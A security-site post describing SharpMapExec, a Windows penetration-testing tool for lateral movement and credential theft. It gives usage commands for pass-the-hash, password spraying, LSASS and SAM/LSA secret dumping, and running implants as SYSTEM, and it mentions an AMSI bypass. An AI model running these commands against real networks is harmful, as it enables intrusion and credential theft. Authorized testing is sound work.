SharpMapExec : A Sharpen Version Of CrackMapExec

SharpMapExec is a sharpen version of CrackMapExec. This tool is made to simplify penetration testing of networks and to create a swiss army knife that is made for running on Windows which is often a requirement during insider threat simulation engagements.

Besides scanning for access it can be used to identify vulnerable configurations and exfiltrate data. The idea for the data exfiltration modules is to execute the least amount of necessary code on the remote computer. To accomplish this, the tool will download all the secrets to the loot directory and parse them locally.

You can specify if you want to use Kerberos or NTLM authentication. If you choose Kerberos, the tool will create a sacrificial token and use Rubeus to import/ask for the ticket. If NTLM is specified, it tool will create threads and use Sharpish to run SetThreadToken if an NTLM hash is specified, and if a password is specified, it will go with ordinary c# impersonation.

SharpMapExec.exe
Usage:

— Smb —
SharpMapExec.exe ntlm smb /user:USER /ntlm:HASH /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos smb /computername:TARGET
Available Smb modules
/m:shares

— WinRm —
SharpMapExec.exe ntlm winrm /user:USER /password:PASSWORD /domain:DOMAIN /computername:TARGET
SharpMapExec.exe kerberos winrm /computername:TARGET
Available WinRm modules
/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump Lsass Process)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)
/m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)
/m:download /path:C:\file /destination:file (Download File from Host)

— Domain —
SharpMapExec.exe kerbspray /users:USERS.TXT /passwords:PASSWORDS.TXT /domain:DOMAIN /dc:DC
SharpMapExec.exe tgtdeleg

Smb

Can be used to scan for admin access and accessible Smb shares.

  • Modules;

/m:shares (Scan enumerated shares for access)

WinRm

The beast. It has built-in Amsi bypass, JEA language breakout, JEA function analysis. Can be used for code execution, scaning for PsRemote access, vulnerable JEA endpoints, and data exfiltration.

Modules;

/m:exec /a:whoami (Invoke-Command)
/m:exec /a:C:\beacon.exe /system (Invoke-Command as System)
/m:comsvcs (Dump Lsass Process)
/m:secrets (Dump and Parse Sam, Lsa, and System Dpapi blobs)
/m:assembly /p:Rubeus.exe /a:dump (Execute Local C# Assembly in memory)
/m:assembly /p:beacon.exe /system (Execute Local C# Assembly as System in memory)
/m:download /path:C:\file /destination:file (Download File from Host)

Domain

Currently supports domain password spraying and to create a TGT for the current user that can be used with the /ticket parameter to get the current context.

Example Usage

For easy or mass in-memory execution of C# assemblies

Kerberos password spraying then scanning for local admin access

This project supports scanning JEA endpoints and will analyze source code of non default commands and check if the endpoint was not configured for no-language mode.

Discover local admin password reuse with an NT hash.

Mass dump Lsass process with built-in Microsoft signed DLL and saves it to the loot folder

And much more!

Some scenarios with Kerberos will require you to sync your clock with the DC and set the DNS

net time \\DC01.hackit.local /set Get-NetAdapter ethernet0* | Set-DnsClientServerAddress -ServerAddresses @(‘192.168.1.10’)

Acknowledgments

Projects that helped or are existing in this tool

R K

Recent Posts

Kali Linux 2024.4 Released, What’s New?

Kali Linux 2024.4, the final release of 2024, brings a wide range of updates and…

17 hours ago

Lifetime-Amsi-EtwPatch : Disabling PowerShell’s AMSI And ETW Protections

This Go program applies a lifetime patch to PowerShell to disable ETW (Event Tracing for…

18 hours ago

GPOHunter – Active Directory Group Policy Security Analyzer

GPOHunter is a comprehensive tool designed to analyze and identify security misconfigurations in Active Directory…

3 days ago

2024 MITRE ATT&CK Evaluation Results – Cynet Became a Leader With 100% Detection & Protection

Across small-to-medium enterprises (SMEs) and managed service providers (MSPs), the top priority for cybersecurity leaders…

5 days ago

SecHub : Streamlining Security Across Software Development Lifecycles

The free and open-source security platform SecHub, provides a central API to test software with…

1 week ago

Hawker : The Comprehensive OSINT Toolkit For Cybersecurity Professionals

Don't worry if there are any bugs in the tool, we will try to fix…

1 week ago